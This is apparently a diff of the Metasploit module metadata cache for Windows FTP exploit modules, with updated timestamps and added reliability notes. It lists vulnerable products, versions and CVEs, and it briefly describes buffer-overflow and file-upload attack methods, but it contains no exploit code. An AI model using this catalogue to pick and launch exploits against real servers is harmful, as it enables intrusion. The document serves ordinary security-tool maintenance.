@@ -161689,7 +165557,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module abuses multiple issues in FreeFloat: 1. No credential is actually\n needed to login; 2. User's default path is in C:\\, and this cannot be changed;\n 3. User can write to anywhere on the server's file system. As a result of these\n poor implementations, a malicious user can just log in and then upload files,\n and let WMI (Management Instrumentation service) to execute the payload uploaded.", + "description": "This module abuses multiple issues in FreeFloat: 1. No credential is actually\n needed to login; 2. User's default path is in C:\\, and this cannot be changed;\n 3. User can write to anywhere on the server's file system. As a result of these\n poor implementations, a malicious user can just log in and then upload files,\n and let WMI (Management Instrumentation service) to execute the payload uploaded.", "references": [ "OSVDB-88302", "OSVDB-88303" @@ -161707,7 +165575,7 @@ "targets": [ "FreeFloat" ], - "mod_time": "2021-02-18 09:18:19 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/freefloatftp_wbem.rb", "is_install_path": true, "ref_name": "windows/ftp/freefloatftp_wbem", @@ -161715,6 +165583,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -161722,9 +165599,7 @@ "exploit_windows/ftp/freeftpd_pass": { "name": "freeFTPd PASS Command Buffer Overflow", "fullname": "exploit/windows/ftp/freeftpd_pass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-08-20", "type": "exploit", @@ -161732,7 +165607,7 @@ "Wireghoul", "TecR0c " ], - "description": "freeFTPd 1.0.10 and below contains an overflow condition that is triggered as\n user-supplied input is not properly validated when handling a specially crafted\n PASS command. This may allow a remote attacker to cause a buffer overflow,\n resulting in a denial of service or allow the execution of arbitrary code.\n\n freeFTPd must have an account set to authorization anonymous user account.", + "description": "freeFTPd 1.0.10 and below contains an overflow condition that is triggered as\n user-supplied input is not properly validated when handling a specially crafted\n PASS command. This may allow a remote attacker to cause a buffer overflow,\n resulting in a denial of service or allow the execution of arbitrary code.\n\n freeFTPd must have an account set to authorization anonymous user account.", "references": [ "OSVDB-96517", "EDB-27747", @@ -161751,7 +165626,7 @@ "targets": [ "freeFTPd 1.0.10 and below on Windows Desktop Version" ], - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/freeftpd_pass.rb", "is_install_path": true, "ref_name": "windows/ftp/freeftpd_pass", @@ -161759,6 +165634,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161766,16 +165650,14 @@ "exploit_windows/ftp/freeftpd_user": { "name": "freeFTPd 1.0 Username Overflow", "fullname": "exploit/windows/ftp/freeftpd_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-11-16", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the freeFTPd\n multi-protocol file transfer service. This flaw can only be\n exploited when logging has been enabled (non-default).", + "description": "This module exploits a stack buffer overflow in the freeFTPd\n multi-protocol file transfer service. This flaw can only be\n exploited when logging has been enabled (non-default).", "references": [ "CVE-2005-3683", "OSVDB-20909", @@ -161798,7 +165680,7 @@ "Windows NT SP5/SP6a English", "Windows 2003 Server English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/freeftpd_user.rb", "is_install_path": true, "ref_name": "windows/ftp/freeftpd_user", @@ -161806,6 +165688,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161813,9 +165704,7 @@ "exploit_windows/ftp/ftpgetter_pwd_reply": { "name": "FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)", "fullname": "exploit/windows/ftp/ftpgetter_pwd_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161823,7 +165712,7 @@ "ekse", "corelanc0d3r " ], - "description": "This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.\n When processing the response on a PWD command, a stack based buffer overflow occurs.\n This leads to arbitrary code execution when a structured exception handler gets\n overwritten.", + "description": "This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.\n When processing the response on a PWD command, a stack based buffer overflow occurs.\n This leads to arbitrary code execution when a structured exception handler gets\n overwritten.", "references": [ "OSVDB-68638", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -161831,16 +165720,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/ftpgetter_pwd_reply", @@ -161848,6 +165733,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161855,16 +165749,14 @@ "exploit_windows/ftp/ftppad_list_reply": { "name": "FTPPad 1.2.0 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftppad_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r" ], - "description": "This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is\n triggered when the client connects to a FTP server which sends an overly long directory\n and filename in response to a LIST command.\n\n This will cause an access violation, and will eventually overwrite the saved extended\n instruction pointer. Payload can be found at EDX+5c and ESI+5c, so a little pivot/\n sniper was needed to make this one work.", + "description": "This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is\n triggered when the client connects to a FTP server which sends an overly long directory\n and filename in response to a LIST command.\n\n This will cause an access violation, and will eventually overwrite the saved extended\n instruction pointer. Payload can be found at EDX+5c and ESI+5c, so a little pivot/\n sniper was needed to make this one work.", "references": [ "OSVDB-68714", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -161872,18 +165764,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Professional, English - shlwapi 6.00.2900.5912", "XP SP3 Professional, German - shlwapi 6.00.2900.5912", "XP SP3 Professional, English - shlwapi 6.00.2900.5512" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ftppad_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/ftppad_list_reply", @@ -161891,6 +165779,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161898,16 +165795,14 @@ "exploit_windows/ftp/ftpshell51_pwd_reply": { "name": "FTPShell 5.1 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftpshell51_pwd_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets\n triggered when the ftp client tries to process an overly long response to a PWD\n command. This will overwrite the saved EIP and structured exception handler.", + "description": "This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets\n triggered when the ftp client tries to process an overly long response to a PWD\n command. This will overwrite the saved EIP and structured exception handler.", "references": [ "OSVDB-68639", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -161915,16 +165810,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/ftpshell51_pwd_reply", @@ -161932,6 +165823,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161939,9 +165839,7 @@ "exploit_windows/ftp/ftpshell_cli_bof": { "name": "FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftpshell_cli_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-04", "type": "exploit", @@ -161957,16 +165855,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ftpshell_cli_bof.rb", "is_install_path": true, "ref_name": "windows/ftp/ftpshell_cli_bof", @@ -161974,6 +165868,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161981,9 +165884,7 @@ "exploit_windows/ftp/ftpsynch_list_reply": { "name": "FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftpsynch_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161991,23 +165892,19 @@ "myne-us", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro\n version 4.0.73.274 The overflow gets triggered by sending an overly long filename to\n the client in response to a LIST command.\n The LIST command gets issued when doing a preview or when you have just created a new\n sync profile and allow the tool to see the differences.\n This will overwrite a structured exception handler and trigger an access violation.", + "description": "This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro\n version 4.0.73.274 The overflow gets triggered by sending an overly long filename to\n the client in response to a LIST command.\n The LIST command gets issued when doing a preview or when you have just created a new\n sync profile and allow the tool to see the differences.\n This will overwrite a structured exception handler and trigger an access violation.", "references": [ "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ftpsynch_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/ftpsynch_list_reply", @@ -162015,6 +165912,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162022,9 +165928,7 @@ "exploit_windows/ftp/gekkomgr_list_reply": { "name": "Gekko Manager FTP Client Stack Buffer Overflow", "fullname": "exploit/windows/ftp/gekkomgr_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -162032,7 +165936,7 @@ "nullthreat", "corelanc0d3r " ], - "description": "This module exploits a buffer overflow in Gekko Manager ftp client, triggered when\n processing the response received after sending a LIST request. If this response contains\n a long filename, a buffer overflow occurs, overwriting a structured exception handler.", + "description": "This module exploits a buffer overflow in Gekko Manager ftp client, triggered when\n processing the response received after sending a LIST request. If this response contains\n a long filename, a buffer overflow occurs, overwriting a structured exception handler.", "references": [ "OSVDB-68641", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -162040,16 +165944,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/gekkomgr_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/gekkomgr_list_reply", @@ -162057,6 +165957,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162064,9 +165973,7 @@ "exploit_windows/ftp/globalscapeftp_input": { "name": "GlobalSCAPE Secure FTP Server Input Overflow", "fullname": "exploit/windows/ftp/globalscapeftp_input", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-05-01", "type": "exploit", @@ -162074,7 +165981,7 @@ "Fairuzan Roslan ", "Mati Aharoni " ], - "description": "This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.\n All versions prior to 3.0.3 are affected by this flaw. A valid user account (\n or anonymous access) is required for this exploit to work.", + "description": "This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.\n All versions prior to 3.0.3 are affected by this flaw. A valid user account (\n or anonymous access) is required for this exploit to work.", "references": [ "CVE-2005-1415", "OSVDB-16049", @@ -162094,7 +166001,7 @@ "targets": [ "GlobalSCAPE Secure FTP Server <= 3.0.2 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/globalscapeftp_input.rb", "is_install_path": true, "ref_name": "windows/ftp/globalscapeftp_input", @@ -162102,6 +166009,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162109,9 +166025,7 @@ "exploit_windows/ftp/goldenftp_pass_bof": { "name": "GoldenFTP PASS Stack Buffer Overflow", "fullname": "exploit/windows/ftp/goldenftp_pass_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-01-23", "type": "exploit", @@ -162120,7 +166034,7 @@ "bannedit ", "Joff Thyer " ], - "description": "This module exploits a vulnerability in the Golden FTP service, using the PASS\n command to cause a buffer overflow. Please note that in order trigger the vulnerable\n code, the victim machine must have the \"Show new connections\" setting enabled. By\n default, this option is unchecked.", + "description": "This module exploits a vulnerability in the Golden FTP service, using the PASS\n command to cause a buffer overflow. Please note that in order trigger the vulnerable\n code, the victim machine must have the \"Show new connections\" setting enabled. By\n default, this option is unchecked.", "references": [ "CVE-2006-6576", "OSVDB-35951", @@ -162143,7 +166057,7 @@ "Windows XP Pro SP2", "Windows XP Pro SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/goldenftp_pass_bof.rb", "is_install_path": true, "ref_name": "windows/ftp/goldenftp_pass_bof", @@ -162151,6 +166065,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162158,16 +166081,14 @@ "exploit_windows/ftp/httpdx_tolog_format": { "name": "HTTPDX tolog() Function Format String Vulnerability", "fullname": "exploit/windows/ftp/httpdx_tolog_format", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-17", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a format string vulnerability in HTTPDX FTP server.\n By sending a specially crafted FTP command containing format specifiers, an\n attacker can corrupt memory and execute arbitrary code.\n\n By default logging is off for HTTP, but enabled for the 'moderator' user\n via FTP.", + "description": "This module exploits a format string vulnerability in HTTPDX FTP server.\n By sending a specially crafted FTP command containing format specifiers, an\n attacker can corrupt memory and execute arbitrary code.\n\n By default logging is off for HTTP, but enabled for the 'moderator' user\n via FTP.", "references": [ "CVE-2009-4769", "OSVDB-60181" @@ -162190,7 +166111,7 @@ "httpdx 1.4.6b - Windows XP SP3 English", "httpdx 1.5 - Windows XP SP3 English" ], - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/httpdx_tolog_format.rb", "is_install_path": true, "ref_name": "windows/ftp/httpdx_tolog_format", @@ -162198,6 +166119,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162205,9 +166135,7 @@ "exploit_windows/ftp/kmftp_utility_cwd": { "name": "Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow", "fullname": "exploit/windows/ftp/kmftp_utility_cwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-23", "type": "exploit", @@ -162215,7 +166143,7 @@ "Shankar Damodaran", "Muhamad Fadzil Ramli " ], - "description": "This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.\n Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which\n leads to an SEH overflow. Konica FTP allows anonymous access by default; valid\n credentials are typically unnecessary to exploit this vulnerability.", + "description": "This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.\n Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which\n leads to an SEH overflow. Konica FTP allows anonymous access by default; valid\n credentials are typically unnecessary to exploit this vulnerability.", "references": [ "CVE-2015-7768", "EDB-37908" @@ -162233,7 +166161,7 @@ "targets": [ "Windows 7 SP1 x86" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/ftp/kmftp_utility_cwd.rb", "is_install_path": true, "ref_name": "windows/ftp/kmftp_utility_cwd", @@ -162241,15 +166169,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": null @@ -162257,9 +166179,7 @@ "exploit_windows/ftp/labf_nfsaxe": { "name": "LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow", "fullname": "exploit/windows/ftp/labf_nfsaxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-15", "type": "exploit", @@ -162275,16 +166195,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/labf_nfsaxe.rb", "is_install_path": true, "ref_name": "windows/ftp/labf_nfsaxe", @@ -162292,6 +166208,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162299,9 +166224,7 @@ "exploit_windows/ftp/leapftp_list_reply": { "name": "LeapFTP 3.0.1 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/leapftp_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -162309,7 +166232,7 @@ "corelanc0d3r ", "nullthreat" ], - "description": "This module exploits a buffer overflow in the LeapFTP 3.0.1 client.\n This issue is triggered when a file with a long name is downloaded/opened.", + "description": "This module exploits a buffer overflow in the LeapFTP 3.0.1 client.\n This issue is triggered when a file with a long name is downloaded/opened.", "references": [ "OSVDB-68640", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -162317,16 +166240,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/leapftp_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/leapftp_list_reply", @@ -162334,6 +166253,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162341,16 +166269,14 @@ "exploit_windows/ftp/leapftp_pasv_reply": { "name": "LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow", "fullname": "exploit/windows/ftp/leapftp_pasv_reply", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-06-09", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600\n client that is triggered through an excessively long PASV reply command. This\n module was ported from the original exploit by drG4njubas with minor improvements.", + "description": "This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600\n client that is triggered through an excessively long PASV reply command. This\n module was ported from the original exploit by drG4njubas with minor improvements.", "references": [ "CVE-2003-0558", "OSVDB-4587", @@ -162360,18 +166286,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal LeapFTP.exe", "Windows 2000 SP0/4 English", "Windows XP SP0 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/leapftp_pasv_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/leapftp_pasv_reply", @@ -162379,6 +166301,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162386,9 +166317,7 @@ "exploit_windows/ftp/ms09_053_ftpd_nlst": { "name": "MS09-053 Microsoft IIS FTP Server NLST Response Overflow", "fullname": "exploit/windows/ftp/ms09_053_ftpd_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-31", "type": "exploit", @@ -162396,7 +166325,7 @@ "Kingcope ", "hdm " ], - "description": "This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP\n service. The flaw is triggered when a special NLST argument is passed\n while the session has changed into a long directory path. For this exploit\n to work, the FTP server must be configured to allow write access to the\n file system (either anonymously or in conjunction with a real account)", + "description": "This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP\n service. The flaw is triggered when a special NLST argument is passed\n while the session has changed into a long directory path. For this exploit\n to work, the FTP server must be configured to allow write access to the\n file system (either anonymously or in conjunction with a real account)", "references": [ "EDB-9541", "CVE-2009-3023", @@ -162419,7 +166348,7 @@ "Windows 2000 SP3 English (IIS 5.0)", "Windows 2000 SP0-SP3 Japanese (IIS 5.0)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb", "is_install_path": true, "ref_name": "windows/ftp/ms09_053_ftpd_nlst", @@ -162427,6 +166356,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162434,16 +166372,14 @@ "exploit_windows/ftp/netterm_netftpd_user": { "name": "NetTerm NetFTPD USER Buffer Overflow", "fullname": "exploit/windows/ftp/netterm_netftpd_user", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-04-26", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a vulnerability in the NetTerm NetFTPD\n application. This package is part of the NetTerm package.\n This module uses the USER command to trigger the overflow.", + "description": "This module exploits a vulnerability in the NetTerm NetFTPD\n application. This package is part of the NetTerm package.\n This module uses the USER command to trigger the overflow.", "references": [ "CVE-2005-1323", "OSVDB-15865", @@ -162467,7 +166403,7 @@ "Windows 2003 English", "Windows NT 4.0 SP4/SP5/SP6" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/netterm_netftpd_user.rb", "is_install_path": true, "ref_name": "windows/ftp/netterm_netftpd_user", @@ -162475,6 +166411,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162482,9 +166427,7 @@ "exploit_windows/ftp/odin_list_reply": { "name": "Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)", "fullname": "exploit/windows/ftp/odin_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -162492,7 +166435,7 @@ "rick2600", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in Odin Secure FTP 4.1,\n triggered when processing the response on a LIST command. During the overflow,\n a structured exception handler record gets overwritten.", + "description": "This module exploits a stack buffer overflow in Odin Secure FTP 4.1,\n triggered when processing the response on a LIST command. During the overflow,\n a structured exception handler record gets overwritten.", "references": [ "OSVDB-68824", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -162500,16 +166443,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/odin_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/odin_list_reply", @@ -162517,6 +166456,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162524,9 +166472,7 @@ "exploit_windows/ftp/open_ftpd_wbem": { "name": "Open-FTPD 1.2 Arbitrary File Upload", "fullname": "exploit/windows/ftp/open_ftpd_wbem", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-18", "type": "exploit", @@ -162534,7 +166480,7 @@ "Serge Gorbunov", "bcoles " ], - "description": "This module exploits multiple vulnerabilities found in Open&Compact FTP\n server. The software contains an authentication bypass vulnerability and a\n arbitrary file upload vulnerability that allows a remote attacker to write\n arbitrary files to the file system as long as there is at least one user\n who has permission.\n\n Code execution can be achieved by first uploading the payload to the remote\n machine as an exe file, and then upload another mof file, which enables\n WMI (Management Instrumentation service) to execute the uploaded payload.\n Please note that this module currently only works for Windows before Vista.", + "description": "This module exploits multiple vulnerabilities found in Open&Compact FTP\n server. The software contains an authentication bypass vulnerability and a\n arbitrary file upload vulnerability that allows a remote attacker to write\n arbitrary files to the file system as long as there is at least one user\n who has permission.\n\n Code execution can be achieved by first uploading the payload to the remote\n machine as an exe file, and then upload another mof file, which enables\n WMI (Management Instrumentation service) to execute the uploaded payload.\n Please note that this module currently only works for Windows before Vista.", "references": [ "OSVDB-65687", "EDB-13932", @@ -162553,7 +166499,7 @@ "targets": [ "Open&Compact FTP 1.2 on Windows (Before Vista)" ], - "mod_time": "2021-02-18 09:18:19 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/open_ftpd_wbem.rb", "is_install_path": true, "ref_name": "windows/ftp/open_ftpd_wbem", @@ -162561,6 +166507,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -162568,16 +166523,14 @@ "exploit_windows/ftp/oracle9i_xdb_ftp_pass": { "name": "Oracle 9i XDB FTP PASS Overflow (win32)", "fullname": "exploit/windows/ftp/oracle9i_xdb_ftp_pass", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-08-18", "type": "exploit", "author": [ "MC " ], - "description": "By passing an overly long string to the PASS command, a\n stack based buffer overflow occurs. David Litchfield, has\n illustrated multiple vulnerabilities in the Oracle 9i XML\n Database (XDB), during a seminar on \"Variations in exploit\n methods between Linux and Windows\" presented at the Blackhat\n conference.", + "description": "By passing an overly long string to the PASS command, a\n stack based buffer overflow occurs. David Litchfield, has\n illustrated multiple vulnerabilities in the Oracle 9i XML\n Database (XDB), during a seminar on \"Variations in exploit\n methods between Linux and Windows\" presented at the Blackhat\n conference.", "references": [ "CVE-2003-0727", "OSVDB-2449", 